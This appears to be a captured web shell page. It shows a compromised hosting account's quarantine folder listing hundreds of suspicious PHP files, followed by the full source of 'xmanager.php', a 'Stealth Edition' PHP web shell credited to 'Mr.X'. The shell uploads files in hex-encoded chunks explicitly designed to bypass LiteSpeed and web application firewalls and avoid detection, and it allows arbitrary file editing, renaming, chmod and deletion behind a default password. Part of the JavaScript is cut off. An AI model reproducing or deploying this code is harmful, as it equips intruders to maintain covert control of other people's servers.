golden hour

/home2/nemzcoma/.quarantine

File/Folder	Size	Actions
.htaccess_1ed26g38	265 B
.htaccess_80253gf3	265 B
.htaccess_8a15d87c	265 B
.htaccess_c1fdg68a	265 B
.htaccess_fae21031	265 B
.tmp_stealth17750518124789051_354b4268	14.19 KB
.tmp_stealth17750518349255163_64hgd1hh	14.19 KB
12daygood.php_4f7e1chf	76.62 KB
133.php_1062b5e2	26.64 KB
155.php.tar_14bdg1g1	33 KB
155.php.tar_b7877a2f	33 KB
155.php_1gd1h1g5	152.82 KB
155.php_ec4a1082	152.82 KB
177.php_6c27a867	152.68 KB
199.php_5777ae85	121.51 KB
222.php_3had5gg2	15.76 KB
222.php_44g878fc	15.76 KB
222.php_53cb7a15	15.76 KB
222.php_74f83fgb	15.76 KB
222.php_8b51a77c	15.76 KB
222.php_bca37c5c	15.78 KB
222.php_da3f1584	15.76 KB
222.php_e742h807	15.76 KB
2index.php_601b856c	10.7 KB
404.php_58a52e4c	46.96 KB
56839_588c0c24	420 B
67473_57cf3fe5	419 B
6ap7e.php_24a81g31	77.47 KB
Al7.php_e4g5f25g	565 B
Cap.php_fecea33b	77.26 KB
Do Not Delete.zip_7f454ba2	933 B
Pan7her-plugin.php_c07d03gd	2.35 KB
Wp-covid-mb.php.tar_1e133hd1	78 KB
about.php_48d54ed3	1.4 KB
about.php_a7hf5f44	3.69 KB
about.php_d61fad01	1.4 KB
about.php_ea11g1h5	17.29 KB
acp.php_2a373b03	178.11 KB
admin.php_103f6d63	1.05 MB
admin.php_1b77g7eb	1.05 MB
admin.php_40gc567b	41.11 KB
admin.php_46121fb8	1.05 MB
admin.php_4a28dhe8	125.25 KB
admin.php_4cd0dhh1	5.24 KB
admin.php_5hfb714a	87.67 KB
admin.php_71h1847c	5.24 KB
admin.php_8d3486ed	77.43 KB
admin.php_a2e45ad0	32.18 KB
admin.php_aa78ce5d	19.13 KB
admin.php_b51e7052	5.24 KB
admin.php_ccb3ceec	32.18 KB
admin.php_e17cfb8f	32.18 KB
admin.php_g4eh10ff	19.11 KB
adminfuns.php_ba41f4a5	173.77 KB
adminfuns.php_bh6fcgch	173.77 KB
agulnson.php_3e27bd5f	166.51 KB
ammika.php_6bd8a5c5	19.14 KB
aqffbglk.php_844ce0gd	168.58 KB
archive.php_7e65hgb2	14.76 KB
archive.php_b2f42138	14.76 KB
as.php_13f1e48g	33.19 KB
atpmoagh.php_e14e0371	168.59 KB
blackPrivet.php_a0bc0f7h	7.17 KB
buy.php_678850h2	1.46 KB
buy.php_6b024e06	1.48 KB
buy.php_f7e16d0g	1.48 KB
cap.php_db4fd1b4	8.47 KB
cap.php_h472e4f8	8.47 KB
carev.php_237d07e4	78.16 KB
caydyamw.php_ce48b784	168.62 KB
cbfaxywfxw.php_7ge7fa03	2.06 KB
cbfaxywfxw.php_dgd114f6	2.06 KB
cjiwridm.php_d47784ga	166.51 KB
coffee.tar_bdh2bddc	178.5 KB
colors.zip_da7h3030	870.61 KB
comment-content.tar_0d3hd63h	117 KB
comment-content.zip_ea3c6876	111.91 KB
content.php_a54a5c12	17.36 KB
coordjktrb.php_28812ga2	2.06 KB
cvmdhnlg.php_77g8c3b1	168.58 KB
cyjgosfm.php_faga5b3b	14.76 KB
czhdwhna.php_6g4edb8a	168.59 KB
dccpptbfcj.php_bcaf33f8	2.06 KB
ddllcfjo.php_a6h6ggbg	166.5 KB
default.php_3288ee1d	851 B
default.php_a1edc636	5.13 KB
defaults.php_c85h8aef	1.93 KB
defvpyazgx.php_bhc700fb	2.06 KB
dzhkpqeino.php_0bb2b634	2.06 KB
dzhkpqeino.php_g54447aa	2.06 KB
eaycvhzjhp.php_0d6b5b44	1.5 KB
edit.php_30331bg7	17.28 KB
eek.php_5175e56a	15.66 KB
eigvcvxi.php_1c2bb685	14.76 KB
eikuafrp.php_a83d701c	166.51 KB
epnajzqj.php_5ebca1e5	166.5 KB
eqgueytq.php_b03g35ad	168.59 KB
fctwgoug.php_c8g6ebf1	168.58 KB
fetch.php_h03ge4cd	2.13 KB
filefuns.php_16abceb3	5.52 KB
filefuns.php_1hf2b50f	5.08 KB
filefuns.php_a4h0af70	5.08 KB
fnclunnskq.php_2ach6fbc	2.06 KB
foyqjhha.php_04h482a2	14.76 KB
ftde.php_bcg71fec	21.5 KB
geju.php_5fga4gac	181 B
gfherhfghre.tar_03840c3e	140.5 KB
gfherhfghre.zip_ae44efg0	330.59 KB
giplxdedyh.php_a8b1g5h3	2.06 KB
gmryhckjuu.php_5cege543	2.06 KB
goods.php_1e720d6e	173.77 KB
goods.php_22c2hf7c	173.77 KB
goods.php_27h36gf0	173.77 KB
goods.php_410h45g5	173.77 KB
goods.php_44b215ab	173.77 KB
goods.php_acg3h704	173.77 KB
goods.php_agg47806	173.77 KB
goods.php_h6b84ff8	173.77 KB
gtoffyeu.php_5aged7dg	166.51 KB
gujjrkzs.php_115hd280	168.58 KB
gvxxvfnu.php_1gf338eb	166.51 KB
henglywt.php_58610d37	14.76 KB
hiroshi.php_1gdb6ch5	18.34 KB
hiroshi.php_5b4d04c0	7.31 KB
hiroshi.php_habaggce	6.19 KB
hypdiejx.php_5051b45c	14.76 KB
hypmxgwkee.php_00h0gd15	2.06 KB
index.php_002b4e7g	14.76 KB
index.php_024e51a4	14.76 KB
index.php_02a837de	14.76 KB
index.php_08521e0c	35.02 KB
index.php_08c64fh2	9.64 KB
index.php_0a62571d	6.25 KB
index.php_0h7480dh	38.58 KB
index.php_12adcbh7	155 B
index.php_1304f520	14.76 KB
index.php_135ad71d	14.76 KB
index.php_13c5e8h4	14.76 KB
index.php_168hah4f	14.76 KB
index.php_1a30ee6b	14.76 KB
index.php_1cf1e001	14.76 KB
index.php_2051b8d2	38.58 KB
index.php_27fh3ec4	5.91 KB
index.php_2a8a32c7	14.76 KB
index.php_2c858a57	2.75 KB
index.php_2fa41620	14.76 KB
index.php_2g885402	14.76 KB
index.php_305d3dgf	17.45 KB
index.php_3080fd0d	38.58 KB
index.php_31254acg	14.76 KB
index.php_328701cb	14.76 KB
index.php_348710fd	14.76 KB
index.php_37bhfce6	14.76 KB
index.php_38bf07af	18.11 KB
index.php_3cefc7g3	6.21 KB
index.php_3fdd36d6	38.58 KB
index.php_3gfbdb4e	14.76 KB
index.php_424d8720	14.76 KB
index.php_450fa42g	14.76 KB
index.php_45ce4446	14.76 KB
index.php_45hbd7ed	38.58 KB
index.php_486066fa	320 B
index.php_4a2g1808	38.58 KB
index.php_4bddg858	38.58 KB
index.php_4bfeb621	38.58 KB
index.php_4cfhe022	86.65 KB
index.php_4dg863gb	14.76 KB
index.php_4fhe0g60	38.58 KB
index.php_4h64350b	14.76 KB
index.php_523g02a4	38.58 KB
index.php_52ab7422	1.93 KB
index.php_546a5h85	14.76 KB
index.php_551af748	14.76 KB
index.php_552g7g55	14.76 KB
index.php_55e6ga6g	38.58 KB
index.php_562ae1e1	38.58 KB
index.php_5bfb3385	14.76 KB
index.php_5db06fb3	320 B
index.php_5f0fh76g	14.76 KB
index.php_6241gbbb	14.76 KB
index.php_6860ghec	1.93 KB
index.php_6agfe1eg	14.76 KB
index.php_6fd554h8	14.76 KB
index.php_6ff7fgdb	219 B
index.php_6fh71218	14.76 KB
index.php_6gh0b77d	14.76 KB
index.php_7151h71h	14.76 KB
index.php_723765eh	2 KB
index.php_72a2428f	38.58 KB
index.php_74hf56ba	1.66 KB
index.php_7517cg8c	1.87 KB
index.php_76h73370	6.98 KB
index.php_7757617h	14.76 KB
index.php_7bbd52g1	14.76 KB
index.php_7d3g1c4d	2.75 KB
index.php_7dhhfeg5	14.76 KB
index.php_7e57gb0d	14.76 KB
index.php_7ef7e4db	14.76 KB
index.php_7hc1e6g2	1.17 KB
index.php_80h8c2cb	424 B
index.php_854ebc4c	14.76 KB
index.php_8e8218eg	38.58 KB
index.php_8had6573	6.98 KB
index.php_a0022g32	14.76 KB
index.php_a01efh35	1.29 KB
index.php_a2f3f6gb	419 B
index.php_a5647edd	14.76 KB
index.php_a84c5682	14.76 KB
index.php_a8c54hb4	14.76 KB
index.php_ac65f5he	431 B
index.php_ac8010g3	6.98 KB
index.php_ad2a4d0e	14.76 KB
index.php_afah2182	14.76 KB
index.php_b0d75fg8	14.76 KB
index.php_b553b576	14.76 KB
index.php_b5eg1f8a	14.76 KB
index.php_b6bch211	14.76 KB
index.php_bd10d1b2	431 B
index.php_bgf01736	5.23 KB
index.php_bhdg67h8	38.58 KB
index.php_c07a00da	14.76 KB
index.php_c20617ae	38.58 KB
index.php_c27736e5	14.76 KB
index.php_c3h451e0	14.76 KB
index.php_c6g0d0d6	14.76 KB
index.php_c7f06dbb	1.14 KB
index.php_ce0856ag	35.02 KB
index.php_ch28a4fe	2.03 KB
index.php_d2ec520f	14.76 KB
index.php_d325dc3e	1.72 KB
index.php_d3bf16b6	14.76 KB
index.php_d8786h2f	14.76 KB
index.php_dc81e17d	14.76 KB
index.php_dd20e1he	14.76 KB
index.php_ddf1f8hf	14.76 KB
index.php_dgabc03b	14.76 KB
index.php_e4b56e33	14.76 KB
index.php_e4gfb1bb	14.76 KB
index.php_e6eg1e1a	14.76 KB
index.php_e78d8fhh	14.76 KB
index.php_ec5ae8bg	6.72 KB
index.php_ef04g777	14.76 KB
index.php_f66h7hdg	14.76 KB
index.php_f8fb6fhf	431 B
index.php_fec86gd7	38.58 KB
index.php_ff0fh282	219 B
index.php_fheh3eda	14.76 KB
index.php_g2g66b8e	14.76 KB
index.php_g31aadg5	431 B
index.php_gb38g350	14.76 KB
index.php_h5a3g2ce	14.76 KB
index.php_h7dhbg63	431 B
index.php_h85688ca	431 B
index.php_hebdg1h6	14.76 KB
index.php_hg86827c	14.76 KB
install-heIper.php_0fd4bgcg	574 B
install-heIper.php_532a2fgc	219.63 KB
ipnfmkpg.php_603dc061	168.58 KB
ipzfxehz.php_b2f8e7d8	168.58 KB
item.php_32bd52bg	1.29 KB
item.php_7c081d50	78.32 KB
ivqhfgpxhi.php_4e2d7gf1	1.5 KB
jbjyknffdu.php_538h0f46	2.06 KB
jbjyknffdu.php_f567a463	2.06 KB
jbtkjmyh.php_cg8h4304	166.51 KB
jeqvcuytep.php_4aed4e5c	2.06 KB
jizlzrsp.php_66fdbhbh	14.76 KB
jj.php_3g347a35	14.43 KB
jj.php_7dgce8fg	14.43 KB
jj.php_7f7fb625	14.43 KB
jj.php_80age0ba	14.43 KB
jj.php_a0h55a77	14.43 KB
jtjtlplj.php_3h26673d	166.51 KB
jwbvbljs.php_1da5bgde	168.58 KB
kbenxqtoxi.php_h3a4b8fd	2.06 KB
kgybsldp.php_4a3b28e7	168.58 KB
koghbbjp.php_dhf64ahh	14.76 KB
kvdjmgnh.php_2814751g	14.76 KB
kxahhzadkr.php_7bccfb40	1.5 KB
kxinetrt.php_3cf630b3	168.58 KB
kzpvmkbe.php_4d448708	168.59 KB
lgwprosb.php_16df7g4g	166.51 KB
livhstwc.php_c4e58e85	14.76 KB
lock360.php_b58hfd5g	1.4 KB
lqcnojbo.php_d6d0efhc	166.51 KB
lurtqlar.php_c63had02	168.58 KB
lvxsorgdsx.php_62h855b6	2.06 KB
lwqtcnztbn.php_gdg86eg4	1.5 KB
lxgsjquj.php_g47gf0g7	168.58 KB
lzujubgmgg.php_1fe84baf	2.06 KB
lzujubgmgg.php_7hc35a32	2.06 KB
mah.php_10e82b8e	1.4 KB
mah.php_7ah2c3fc	1.4 KB
mah.php_d6fbhdaa	1.4 KB
maxngmtc.php_ae521b04	166.51 KB
mewhkxdz.php_7e3064f5	168.58 KB
mhprvdlb.php_434a6551	168.58 KB
minik.php_064hc200	12.41 KB
minik.php_ge53a0b6	12.41 KB
mnevqljr.php_h4h7bceg	168.58 KB
mptwzeux.php_1f3800gh	14.76 KB
msegtfftof.php_7aah4hd2	2.06 KB
naathfag.php_32e8fg20	168.58 KB
nefrcqnt.php_673h7be1	168.58 KB
nfbuqnbl.php_4fbbaa2h	14.76 KB
nlftnmqh.php_400fh080	166.51 KB
nonomnag.php_522da5f8	166.51 KB
ntcwvmfkva.php_6e2ba73h	2.06 KB
nwflm.php_44f0f683	2.16 MB
nwflm.php_c6102hb0	2.16 MB
nwsnnfuk.php_d1d5181e	168.58 KB
oaefvwpt.php_54gca118	168.58 KB
oajxsiov.php_6dege02e	168.58 KB
obtwyduy.php_00cb434d	168.58 KB
oiiirceg.php_a3fg1cgh	168.58 KB
olbcljui.php_64d13bdg	168.58 KB
olkpcaihxz.php_01128b7h	1.5 KB
onlqnphypz.php_18h40aaf	2.06 KB
onlqnphypz.php_d5e5575b	2.06 KB
ophpdiyc.php_841b8723	168.58 KB
product.php_c1hebg06	2.03 KB
pyucbkvp.php_gf33157h	14.76 KB
qbjvgalx.php_b8feh7fa	14.76 KB
radio.php_0e6d3b34	17.29 KB
radio.php_85b4h2ge	22.06 KB
rawr2.php_243hf70f	101.3 KB
rcmgkjri.php_2c42cc11	166.51 KB
rdmysiml.php_2b726cf5	168.58 KB
rgjycvvu.php_806a603b	168.58 KB
rjaoekjdqp.php_ebh0d4d3	1.5 KB
rthwmrtk.php_fh52h1b0	14.76 KB
rtsjddkvad.php_4022af04	2.06 KB
s.php_25c08c85	6.76 KB
saiga.php_4152d2b5	8.89 KB
saiga.php_hd020fd7	13.4 KB
sbkxvkjr.php_b338fgb8	168.58 KB
sc.php_2hc03cah	177.99 KB
sciokkqf.php_gh75ba35	168.58 KB
sesnnlcz.php_ca8e14g1	14.76 KB
slider.php_16dc0cc4	46.96 KB
slkzvwlk.php_g0470334	168.58 KB
ss.php_8g353dhc	13.5 KB
style.php_3dcbe1bh	13.37 KB
style.php_c2b8fe4g	13.37 KB
style.php_d734b5fh	13.37 KB
style.php_eh7c550a	13.37 KB
su.php_4661dh04	77.12 KB
su.php_dbec5868	77.12 KB
su.php_eg3dcf52	77.12 KB
supzaayg.php_2846d6hc	168.58 KB
swmqaomt.php_34648h82	168.58 KB
symlnkgd.php_8ggaf63e	14.19 KB
symlnkgd.php_f74hdd38	14.19 KB
syxioxdi.php_f706348f	168.58 KB
tccbrjyo.php_cfgef148	168.58 KB
tdfqpyis.php_ag0814d2	14.76 KB
thifeait.php_25e204ea	14.76 KB
tkvajdnf.php_151526ff	166.51 KB
tqkyqalj.php_a082e1h4	168.59 KB
ubbnjwsxtd.php_16ce5252	2.06 KB
ubsloncl.php_f68g3bc7	168.58 KB
ucpscowj.php_1h5hc1bb	168.58 KB
uftwrtfm.php_3f0517ec	168.58 KB
upwxvzdq.php_ec214b47	14.76 KB
vendoyters.tar_2gg8aahh	101.5 KB
vendoyters.zip_ee807f28	226.3 KB
vfyroihafh.php_acb775ff	2.06 KB
vheogeuhio.php_a332d500	2.06 KB
vhndghqj.php_h5g6c760	168.59 KB
vmmpmnbv.php_c816062a	168.58 KB
vpmgvmvf.php_3d7cg373	168.58 KB
vprbehyz.php_c624ea2e	168.58 KB
vrybkybi.php_d318fh2f	166.52 KB
vsrripyp.php_dg0838ab	166.51 KB
wcmkzqbk.php_f305hbb4	14.76 KB
whluhuej.php_0h06a0ea	168.58 KB
whoytnbj.php_463fag71	14.76 KB
wp-blog.php_076243eb	77.49 KB
wp-conffg.php_e1f00dc3	122.7 KB
wp-conffg.php_h422dch5	122.7 KB
wp-conffq.php_d276cdfd	147.36 KB
wp-links.gz_0fdef566	28.4 KB
wp-links.php_b8c1hhce	44 B
wp-links.php_cbb8fb61	233 B
wp-login.php_fe8g65hh	10.7 KB
wp-sx9.php_01c7f578	74.61 KB
wp-sx9.php_28860a88	74.61 KB
wp-sx9.php_bgfhd32f	74.59 KB
wp_oks.php_8b82h2c8	7.13 KB
wps.php_526f8444	16.57 KB
wukhlaxc.php_e414gf50	14.76 KB
xhrnlyun.php_02c226e4	14.76 KB
xjrjhlix.php_3bebaeca	14.76 KB
xlrcjokz.php_2g431504	166.52 KB
xmanager.php_2d7ag4cf	12.55 KB
xqwlszcimz.php_46703f07	1.5 KB
xsmofymf.php_d1caf65b	168.58 KB
xulctjkr.php_e0cgaf4e	14.76 KB
xwpg.php_2f6068d6	237.88 KB
xwx1.php_2c2g7ga5	8.99 MB
xxx.js_57cf8a3e	6.72 KB
ytmtofrb.php_2b3g3be6	168.58 KB
zeta.php_gc2bh5de	44.85 KB
zijdwkou.php_ac367h1f	168.59 KB
zkkzjzupzf.php_d4gd5373	2.06 KB
zlmveewc.php_a5cda347	166.51 KB
zqwdaldagw.php_6ha3b2gf	2.06 KB
zqwdaldagw.php_8eb0h61h	2.06 KB
zrvkwgcb.php_afce034c	168.59 KB
zwewyhes.php_bg6d64fd	168.58 KB
zwwpvctr.php_55b7d6eg	166.51 KB

Edit: xmanager.php_2d7ag4cf

<?php
// Secure Single File PHP File Manager - Stealth Edition
// Features: Hex-Chunk Upload (Bypasses LiteSpeed/WAF), Edit, Rename, Chmod
session_start();

// --- CONFIGURATION ---
$password = 'admin'; // CHANGE THIS
$session_key = 'auth_stealth_fm';
// ---------------------

// --- AUTH ---
if (isset($_POST['login'])) {
    if ($_POST['pass'] === $password) {
        $_SESSION[$session_key] = true;
    }
}
if (isset($_GET['logout'])) {
    unset($_SESSION[$session_key]);
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}
if (!isset($_SESSION[$session_key])) {
    echo '<!DOCTYPE html><body style="background:#f0f0f0;display:flex;justify-content:center;align-items:center;height:100vh;"><form method="post" style="background:#fff;padding:20px;border-radius:5px;"><input type="password" name="pass" placeholder="Password" required><button type="submit" name="login">Login</button></form></body>';
    exit;
}

// --- CONFIG & UTILS ---
$root = realpath(isset($_GET['p']) ? $_GET['p'] : '.');
if (!$root)
    $root = getcwd();
$root = str_replace('\\', '/', $root);
$msg = '';

function msg($t, $c = 'green')
{
    return "<div style='color:$c;padding:10px;border:1px solid $c;margin-bottom:10px;'>$t</div>";
}

// --- HANDLERS ---

// 1. STEALTH UPLOAD HANDLER
// Uses generic parameter names: 'h' (hex data), 't' (temp name), 'f' (finalize real name)
if (isset($_POST['t']) && isset($_POST['h'])) {
    // Append Chunk
    $temp_file = $root . '/.tmp_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['t']); // Sanitize temp name
    $data = hex2bin($_POST['h']);
    if (file_put_contents($temp_file, $data, FILE_APPEND) !== false) {
        die("OK");
    } else {
        header("HTTP/1.1 500 IO Error");
        die("FAIL");
    }
}
// Finalize Upload (Rename)
if (isset($_POST['finalize_t']) && isset($_POST['finalize_n'])) {
    $temp_file = $root . '/.tmp_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['finalize_t']);
    $real_name = base64_decode($_POST['finalize_n']); // Decode real name (e.g. shell.php)
    $target_file = $root . '/' . basename($real_name);

if (file_exists($temp_file)) {
        if (rename($temp_file, $target_file)) {
            die("DONE");
        } else {
            die("RENAME_FAIL");
        }
    } else {
        die("NO_TEMP");
    }
}

// 2. EDIT
if (isset($_POST['save_p']) && isset($_POST['save_c'])) {
    if (file_put_contents($_POST['save_p'], $_POST['save_c']) !== false)
        $msg = msg("Saved.");
    else
        $msg = msg("Save failed.", "red");
}

// 3. RENAME
if (isset($_POST['rn_old']) && isset($_POST['rn_new'])) {
    if (rename($root . '/' . $_POST['rn_old'], $root . '/' . $_POST['rn_new']))
        $msg = msg("Renamed.");
    else
        $msg = msg("Rename failed.", "red");
}

// 4. CHMOD
if (isset($_POST['perm_f']) && isset($_POST['perm_v'])) {
    if (chmod($root . '/' . $_POST['perm_f'], octdec($_POST['perm_v'])))
        $msg = msg("Chmod OK.");
    else
        $msg = msg("Chmod failed.", "red");
}
// 5. DELETE
if (isset($_GET['del'])) {
    $del = $root . '/' . $_GET['del'];
    if (is_dir($del)) {
        @rmdir($del);
    } else {
        @unlink($del);
    }
    $msg = msg("Deleted.");
}

// --- VIEW ---
$list = scandir($root);
$dirs = [];
$files = [];
foreach ($list as $i) {
    if ($i == '.')
        continue;
    if (is_dir("$root/$i"))
        $dirs[] = $i;
    else
        $files[] = $i;
}

$edit_file = isset($_GET['e']) ? "$root/" . $_GET['e'] : null;
$edit_content = $edit_file ? file_get_contents($edit_file) : '';

?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <style>
        body {
            font-family: sans-serif;
            background: #eee;
            padding: 20px
        }

.main {
            background: #fff;
            padding: 20px;
            max-width: 1000px;
            margin: auto;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1)
        }

a {
            text-decoration: none;
            color: #007bff
        }

a:hover {
            text-decoration: underline
        }

table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px
        }

td,
        th {
            padding: 8px;
            border-bottom: 1px solid #ddd;
            text-align: left
        }

.btn {
            padding: 5px 10px;
            background: #ddd;
            border: none;
            cursor: pointer
        }

.btn:hover {
            background: #ccc
        }

.btn-blue {
            background: #007bff;
            color: #fff
        }

.btn-blue:hover {
            background: #0056b3
        }

input,
        textarea {
            width: 100%;
            padding: 5px;
            box-sizing: border-box
        }

#bar {
            height: 5px;
            background: green;
            width: 0%;
            transition: width 0.2s
        }
    </style>
</head>

<body>
    <div class="main">
        <div style="background:#333;color:#00ff00;padding:15px;text-align:center;margin-bottom:20px;border-radius:5px;font-family:monospace;border:1px solid #00ff00;">
            <h2 style="margin:0;font-size:24px;">Mr.X private File Manager V.2</h2>
            <p style="margin:5px 0 0;font-size:16px;">Telegram:https: @jackleet</p>
        </div>
        <div style="display:flex;justify-content:space-between">
            <h3>FileManager</h3>
            <a href="?logout=1">Logout</a>
        </div>

<?= $msg ?>

<div style="background:#f9f9f9;padding:10px;margin-bottom:10px">
            Path:
            <?php foreach (explode('/', $root) as $k => $p):
                if ($p === '')
                    continue; ?>
                / <a href="?p=<?= urlencode(substr($root, 0, strpos($root, $p) + strlen($p))) ?>"><?= $p ?></a>
            <?php endforeach; ?>
        </div>

<?php if ($edit_file): ?>
            <form method="post" action="?p=<?= urlencode($root) ?>">
                <input type="hidden" name="save_p" value="<?= $edit_file ?>">
                <textarea name="save_c" rows="20"><?= $edit_content ?></textarea>
                <br><br>
                <button class="btn btn-blue">Save</button>
                <a href="?p=<?= urlencode($root) ?>" class="btn">Cancel</a>
            </form>
        <?php else: ?>

<div style="border:1px dashed #ccc;padding:10px;background:#fdfdfd">
                <b>Stealth Upload (Hex-Chunked)</b><br>
                <input type="file" id="uf" style="width:auto">
                <button onclick="upload()" class="btn btn-blue">Upload</button>
                <div id="prog_box" style="display:none;margin-top:5px;background:#eee">
                    <div id="bar"></div>
                </div>
                <div id="stat" style="font-size:12px;color:#666"></div>
            </div>

<table>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Perm</th>
                    <th>Action</th>
                </tr>
                <?php if ($root != '/'): ?>
                    <tr>
                        <td><a href="?p=<?= urlencode(dirname($root)) ?>">..</a></td>
                        <td></td>
                        <td></td>
                        <td></td>
                    </tr><?php endif; ?>

<?php foreach ($dirs as $d): ?>
                    <tr>
                        <td><b>[D]</b> <a href="?p=<?= urlencode("$root/$d") ?>"><?= $d ?></a></td>
                        <td>-</td>
                        <td><?= substr(sprintf('%o', fileperms("$root/$d")), -4) ?></td>
                        <td>
                            <button onclick="rn('<?= $d ?>')" class="btn">R</button>
                            <button onclick="ch('<?= $d ?>','<?= substr(sprintf('%o', fileperms("$root/$d")), -4) ?>')"
                                class="btn">P</button>
                            <a href="?p=<?= urlencode($root) ?>&del=<?= urlencode($d) ?>" onclick="return confirm('Del?')"
                                style="color:red">X</a>
                        </td>
                    </tr>
                <?php endforeach; ?>

<?php foreach ($files as $f): ?>
                    <tr>
                        <td><a href="?p=<?= urlencode($root) ?>&e=<?= urlencode($f) ?>"><?= $f ?></a></td>
                        <td><?= round(filesize("$root/$f") / 1024, 1) ?> KB</td>
                        <td><?= substr(sprintf('%o', fileperms("$root/$f")), -4) ?></td>
                        <td>
                            <button onclick="rn('<?= $f ?>')" class="btn">R</button>
                            <button onclick="ch('<?= $f ?>','<?= substr(sprintf('%o', fileperms("$root/$f")), -4) ?>')"
                                class="btn">P</button>
                            <a href="?p=<?= urlencode($root) ?>&del=<?= urlencode($f) ?>" onclick="return confirm('Del?')"
                                style="color:red">X</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </table>
        <?php endif; ?>
    </div>

let chunkSize = 50 * 1024; // 50KB chunks (Very small to avoid detection)
            let chunks = Math.ceil(f.size / chunkSize);
            let tempId = Math.random().toString(36).substring(7); // Random temp ID

document.getElementById('prog_box').style.display = 'block';
            let stat = document.getElementById('stat');

for (let i = 0; i < chunks; i++) {
                let start = i * chunkSize;
                let end = Math.min(f.size, start + chunkSize);
                let blob = f.slice(start, end);

try {
                    // Read as ArrayBuffer -> Convert to Hex
                    let buf = await new Promise(r => {
                        let fr = new FileReader();
                        fr.onload = e => r(e.target.result);
                        fr.readAsArrayBuffer(blob);
                    });
                    let hex = [...new Uint8Array(buf)].map(x => x.toString(16).padStart(2, '0')).join('');

// Send Hex Chunk
                    let fd = new FormData();
                    fd.append('t', tempId); // t = temp name
                    fd.append('h', hex);    // h = hex data

let res = await fetch(window.location.href, { method: 'POST', body: fd });
                    let txt = await res.text();

if (!txt.includes('OK')) throw new Error('Chunk fail: ' + txt);

// Progress
                    let pct = Math.round(((i + 1) / chunks) * 100);
                    document.getElementById('bar').style.width = pct + '%';
                    stat.innerText = `Sending chunk ${i + 1}/${chunks}...`;

} catch (e) {
                    stat.innerText = 'Error: ' + e.message;
                    stat.style.color = 'red';
                    return;
                }
            }

// Finalize
            stat.innerText = 'Finalizing...';
            let fd = new FormData();
            fd.append('finalize_t', tempId);
            fd.append('finalize_n', btoa(f.name)); // Base64 encode real name

let res = await fetch(window.location.href, { method: 'POST', body: fd });
            let txt = await res.text();

if (txt.includes('DONE')) {
                stat.innerText = 'Done!';
                stat.style.color = 'green';
                setTimeout(() => location.reload(), 1000);
            } else {
                stat.innerText = 'Finalize failed: ' + txt;
                stat.style.color = 'red';
            }
        }

</html>